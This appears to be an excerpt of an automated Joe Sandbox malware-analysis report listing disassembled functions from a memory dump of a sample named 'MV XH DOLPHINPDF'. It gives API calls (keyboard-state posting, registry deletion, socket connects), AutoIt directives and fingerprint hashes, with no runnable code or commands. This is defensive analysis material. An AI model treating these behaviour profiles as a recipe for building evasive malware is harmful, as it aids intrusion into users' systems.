Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: dc90eddf44e5dac71c7a8932fab16e10e54b6f5866c984757395c34e9e08194e
Instruction ID: ddee817ab95699c832ef996b6c1e5046a771c4a458c1c86dc3ec226e76f36c4a
Opcode Fuzzy Hash: dc90eddf44e5dac71c7a8932fab16e10e54b6f5866c984757395c34e9e08194e
Instruction Fuzzy Hash: 37617B75A0061A9FCF14EF94C4859BEBBF5FF48310B148469E99AAB752CB30AD41CB90

Function 000E145D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 000E149C
GetKeyboardState.USER32(?), ref: 000E14B1
SetKeyboardState.USER32(?), ref: 000E1512
PostMessageW.USER32(?,00000101,00000010,?), ref: 000E1540
PostMessageW.USER32(?,00000101,00000011,?), ref: 000E155F
PostMessageW.USER32(?,00000101,00000012,?), ref: 000E15A5
PostMessageW.USER32(?,00000101,0000005B,?), ref: 000E15C8

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 498708ae71f1a9919383f578a6f1933f260f98d215fa6efd129803d808beee24
Instruction ID: 693d0276f7743a7ecc443e1a09b1d7d636aebcedec6d06f438eca103a5cfc9ce
Opcode Fuzzy Hash: 498708ae71f1a9919383f578a6f1933f260f98d215fa6efd129803d808beee24
Instruction Fuzzy Hash: 8351E1B1A087D57EFB3642268C45BFABEE96F46304F088589E1D6668D3C2F4ACC4D750

Function 000E1276 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 000E12B5
GetKeyboardState.USER32(?), ref: 000E12CA
SetKeyboardState.USER32(?), ref: 000E132B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 000E1357
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 000E1374
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 000E13B8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 000E13D9

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 1265abc8b71706a1cdd671b1d99cda9a7cc95401213e20204b0788a0dae34b13
Instruction ID: e70c1fd2b1d4c7d6eee54add13e7550f7a4bccda503ec912b4b409d45bfda7be
Opcode Fuzzy Hash: 1265abc8b71706a1cdd671b1d99cda9a7cc95401213e20204b0788a0dae34b13
Instruction Fuzzy Hash: 9751B3B05086D57DFB3286368C45BFABFE95F06300F088589E1D466CC2D3A5AD98D751

Function 000E589F Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 000E58AC
_wcsncpy.LIBCMT ref: 000E58E1
_wcsncpy.LIBCMT ref: 000E5913
_wcsncpy.LIBCMT ref: 000E5946
_wcsncpy.LIBCMT ref: 000E5988
_wcsncpy.LIBCMT ref: 000E59C2
_wcsncpy.LIBCMT ref: 000E59F1

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 26b470eaad2e318e712aab074cbaca393f684d3c407a37bbe7e8ec203acb7cfc
Instruction ID: 88bbaebf0ed35c08a64401c1ec1914f352f5c7bd3ce26d3540358538a586f8b3
Opcode Fuzzy Hash: 26b470eaad2e318e712aab074cbaca393f684d3c407a37bbe7e8ec203acb7cfc
Instruction Fuzzy Hash: 9941C5A9C2051876CB50EBF58C8A9CF77A89F06310F509862F518F3122E734D754C7A6

Function 000E38AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 000E48AA: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,000E38D3,?), ref: 000E48C7

Part of subcall function 000E48AA: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,000E38D3,?), ref: 000E48E0

lstrcmpiW.KERNEL32(?,?), ref: 000E38F3
_wcscmp.LIBCMT ref: 000E390F
MoveFileW.KERNEL32(?,?), ref: 000E3927
_wcscat.LIBCMT ref: 000E396F
SHFileOperationW.SHELL32(?), ref: 000E39DB

Strings

\*.*, xrefs: 000E3969

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 991104cd7752e58c7bcf0f48ae045d1fb0c6bdabaa8127ae6a59fc7d36ab301c
Instruction ID: f269ec65d12f71a16e68768310b8715f2420c81efc95ad2c3fc2fb781f9bd6fa
Opcode Fuzzy Hash: 991104cd7752e58c7bcf0f48ae045d1fb0c6bdabaa8127ae6a59fc7d36ab301c
Instruction Fuzzy Hash: 414180B24083849EC7A1EF65C4859DFBBE8AF89340F50093EB489D3152EB74D689C752

Function 00107500 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00107519
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 001075C0
IsMenu.USER32(?), ref: 001075D8
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00107620
DrawMenuBar.USER32 ref: 00107633

Strings

0, xrefs: 0010750D

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: bdd8bc5896a0c26dafb0eed113787e799482dc28f6892a4f83b9931c87514145
Instruction ID: 61187c9437432cc2e477dd24badfa4c9ec49a9fe328bdb018d57422f43b26cc0
Opcode Fuzzy Hash: bdd8bc5896a0c26dafb0eed113787e799482dc28f6892a4f83b9931c87514145
Instruction Fuzzy Hash: FD413575A04609AFEB20DF54D884EDABBB8FB09314F048029E996976D0D7B1AD51CFA0

Function 0010122D Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 0010125C
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00101286
FreeLibrary.KERNEL32(00000000), ref: 0010133D

Part of subcall function 0010122D: RegCloseKey.ADVAPI32(?), ref: 001012A3
Part of subcall function 0010122D: FreeLibrary.KERNEL32(?), ref: 001012F5
Part of subcall function 0010122D: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00101318

RegDeleteKeyW.ADVAPI32(?,?), ref: 001012E0

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 7df1c122c1625154865e1021a30417f2b94f8aa21001f4d4adfcefed9c3821c3
Instruction ID: 03f2442a7984a5df31af5f0845b40bac706d53f16e54cd88d328de8714a458f2
Opcode Fuzzy Hash: 7df1c122c1625154865e1021a30417f2b94f8aa21001f4d4adfcefed9c3821c3
Instruction Fuzzy Hash: D4312D71901109BFDB149B90DC8AAFEB7BCFF08310F100169F581E6591DBB49E859AA0

Function 0010653C Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 0010655B
GetWindowLongW.USER32(010E52A8,000000F0), ref: 0010658E
GetWindowLongW.USER32(010E52A8,000000F0), ref: 001065C3
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 001065F5
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 0010661F
GetWindowLongW.USER32(00000000,000000F0), ref: 00106630
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0010664A

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 4d0865311226c9a1cde8dd6e8a274a13d3e6fe3796ed6ef3fa29785b8f653f5a
Instruction ID: 00a4462d1c52cff390f093876b4df65e29c5ceb8e03a28d929a10cce7a4b7a84
Opcode Fuzzy Hash: 4d0865311226c9a1cde8dd6e8a274a13d3e6fe3796ed6ef3fa29785b8f653f5a
Instruction Fuzzy Hash: EB311334604211AFDB20CF18DC85F553BE1FB4A754F1901A8F5818BAF5CBB2ACA1DB41

Function 000F6486 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 000F80A0: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 000F80CB

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 000F64D9
WSAGetLastError.WSOCK32(00000000), ref: 000F64E8
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 000F6521
connect.WSOCK32(00000000,?,00000010), ref: 000F652A
WSAGetLastError.WSOCK32 ref: 000F6534
closesocket.WSOCK32(00000000), ref: 000F655D
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 000F6576

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: d6b721a39f171fba1cbe837144b13dce06aaf3e3f175d97836268e28cccf2393
Instruction ID: f04cf3d6535a420a1baf8df0aace0ef4d36856914886ff390ba619b46e024894
Opcode Fuzzy Hash: d6b721a39f171fba1cbe837144b13dce06aaf3e3f175d97836268e28cccf2393
Instruction Fuzzy Hash: 6931A131600218AFDB20AF64CC85BFE7BA8EB44714F048069FA45A7691CB75AD45DBA1

Function 000DE0B5 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 000DE0FA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 000DE120
SysAllocString.OLEAUT32(00000000), ref: 000DE123
SysAllocString.OLEAUT32 ref: 000DE144
SysFreeString.OLEAUT32 ref: 000DE14D
StringFromGUID2.OLE32(?,?,00000028), ref: 000DE167
SysAllocString.OLEAUT32(?), ref: 000DE175

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 99ff00491ad29741ea69f023d99e89269aa3e38755b844c4a3780c2b50c4188b
Instruction ID: 4e556ac0261a537bf1b8b60408dd05ab5803926800162c010dafbcc0740f568f
Opcode Fuzzy Hash: 99ff00491ad29741ea69f023d99e89269aa3e38755b844c4a3780c2b50c4188b
Instruction Fuzzy Hash: 32213735604249AFDB20AFA8DC89DAB77ECEB09760B108126F955CB661DA70DC818774

Function 000DFB6E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 000DFB81
__wcsnicmp.LIBCMT ref: 000DFBA2
__wcsnicmp.LIBCMT ref: 000DFBBC

Strings

#notrayicon, xrefs: 000DFB79
#OnAutoItStartRegister, xrefs: 000DFBB6
#requireadmin, xrefs: 000DFB9C

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 0d67e63e4d0025f3d73a6f7dabb7dc5e7591187eb1d512f38bc9c86f12e827a7
Instruction ID: a74da4160a779753b9c50d37c4978ff82844d491a397856ee8826a31d96d4c0b
Opcode Fuzzy Hash: 0d67e63e4d0025f3d73a6f7dabb7dc5e7591187eb1d512f38bc9c86f12e827a7
Instruction Fuzzy Hash: AB212532114756A6D234A624DD12EFB73D8EF62350F14C037F98786282EBA1A9A1D2B5

Function 0010783C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00081D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00081D73
Part of subcall function 00081D35: GetStockObject.GDI32(00000011), ref: 00081D87
Part of subcall function 00081D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00081D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 001078A1
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 001078AE
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 001078B9
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 001078C8
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 001078D4

Strings

Msctls_Progress32, xrefs: 00107872

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 697c984dba2099082438358a9e47b9ec524fdeee10aee0fddb1bf61f2704a958
Instruction ID: 1a9b54c03b4f2c44b804434ae27bf2d463a35939a4725794cf34fa4d8f365928
Opcode Fuzzy Hash: 697c984dba2099082438358a9e47b9ec524fdeee10aee0fddb1bf61f2704a958
Instruction Fuzzy Hash: DB1190B2514219BFEF159F60CC85EE77F6DEF08758F018115FA44A20A0D7B2AC21DBA0

Function 000A41C9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,000A4292,?), ref: 000A41E3
GetProcAddress.KERNEL32(00000000), ref: 000A41EA
EncodePointer.KERNEL32(00000000), ref: 000A41F6
DecodePointer.KERNEL32(00000001,000A4292,?), ref: 000A4213

Strings

combase.dll, xrefs: 000A41DE
RoInitialize, xrefs: 000A41D2

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: b210135b36e7a937098bab663cdc813283ca307bb8855e6cbd6207b80525a6ed
Instruction ID: 4ebba88a35d663610f1995c5b4e12913922155d781d48d8e6959e564cf43cf3f
Opcode Fuzzy Hash: b210135b36e7a937098bab663cdc813283ca307bb8855e6cbd6207b80525a6ed
Instruction Fuzzy Hash: F6E0EDB85903409BDB206BB0EC0AB443594B756B06F508438B491D58B0D7F564D68B00

Function 000A429E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,000A41B8), ref: 000A42B8
GetProcAddress.KERNEL32(00000000), ref: 000A42BF
EncodePointer.KERNEL32(00000000), ref: 000A42CA
DecodePointer.KERNEL32(000A41B8), ref: 000A42E5

Strings

RoUninitialize, xrefs: 000A42A7
combase.dll, xrefs: 000A42B3

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: dc54c817d51796c4aa9c38c8b4b16bc9015fb4ec273b5915f05471c39d1fafa5
Instruction ID: c2992c02ad029e503506e66c94a994995427b13790b1e4f7bc6da36ed855b431
Opcode Fuzzy Hash: dc54c817d51796c4aa9c38c8b4b16bc9015fb4ec273b5915f05471c39d1fafa5
Instruction Fuzzy Hash: 40E0B67C581310ABEB709BA0FC0FB443AA4B726B62F604028F041E5DB0CBF495D5CB14

Function 000E675A Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 000E68AD
_memmove.LIBCMT ref: 000E67E8

Part of subcall function 00089997: __itow.LIBCMT ref: 000899C2
Part of subcall function 00089997: __swprintf.LIBCMT ref: 00089A0C

_memmove.LIBCMT ref: 000E685B
_memmove.LIBCMT ref: 000E6942
_memmove.LIBCMT ref: 000E695B
_memmove.LIBCMT ref: 000E6977

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 6e947472b856975183e3f5e60736fe41117daf697b4b51c4ec0ea53e9c907cf7
Instruction ID: 85167f5f6e0e206d35d00c5d35a223c13c070158c028e9cb8e620d6ba018f116
Opcode Fuzzy Hash: 6e947472b856975183e3f5e60736fe41117daf697b4b51c4ec0ea53e9c907cf7
Instruction Fuzzy Hash: 7261AA3050029A9FCF11FF65DC82EFE3BA8AF55348F084519F8996B293DB71A841CB50

Function 0010046F Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00087F41: _memmove.LIBCMT ref: 00087F82

Part of subcall function 001010A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00100038,?,?), ref: 001010BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00100548
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00100588
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 001005AB
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 001005D4
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00100617
RegCloseKey.ADVAPI32(00000000), ref: 00100624

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: f5faf8cc3b59af2d72d50d50f272f5dfa1f9429cc4b2d09e77ec2c8d430e7bed
Instruction ID: 38f4ec96c8659a2d7182d928989b1652eda8bf57fea96a59bd0285332390ebe1
Opcode Fuzzy Hash: f5faf8cc3b59af2d72d50d50f272f5dfa1f9429cc4b2d09e77ec2c8d430e7bed
Instruction Fuzzy Hash: 07515831108200AFCB15EB64CC85EAFBBE9FF88714F04492DF595972A2DBB1E905CB52

Function 00105A20 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00105A82
GetMenuItemCount.USER32(00000000), ref: 00105AB9
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00105AE1
GetMenuItemID.USER32(?,?), ref: 00105B50
GetSubMenu.USER32(?,?), ref: 00105B5E
PostMessageW.USER32(?,00000111,?,00000000), ref: 00105BAF

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

